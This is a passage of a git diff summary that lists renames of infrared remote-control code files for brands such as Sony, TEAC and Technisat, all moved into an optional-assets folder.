assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Snell/Speaker/80,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sonance/System Controller/132,132.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Boombox/100,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Boombox/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Changer/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Player/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Player/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Player/57,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/CD Player/81,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DAT/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSP/26,233.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/183,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/23,133.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/5,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DSS/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DV Cam/185,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DV Cam/217,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DV Cam/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/164,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/26,218.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/26,83.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/26,98.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/121,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/144,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/176,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/26,66.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/36,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Receiver/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Surround Processor/26,233.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/151,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/164,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/183,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/26,42.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TV/84,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TiVo/183,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TiVo/23,133.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/TiVo/26,154.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/180,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/185,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/186,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/25,37.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/25,69.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/VCR/9,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Video Projector/26,42.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sony/Video Projector/84,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Symphonic/TV/41,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Symphonic/VCR/40,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Symphonic/VCR/44,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir (100%) rename 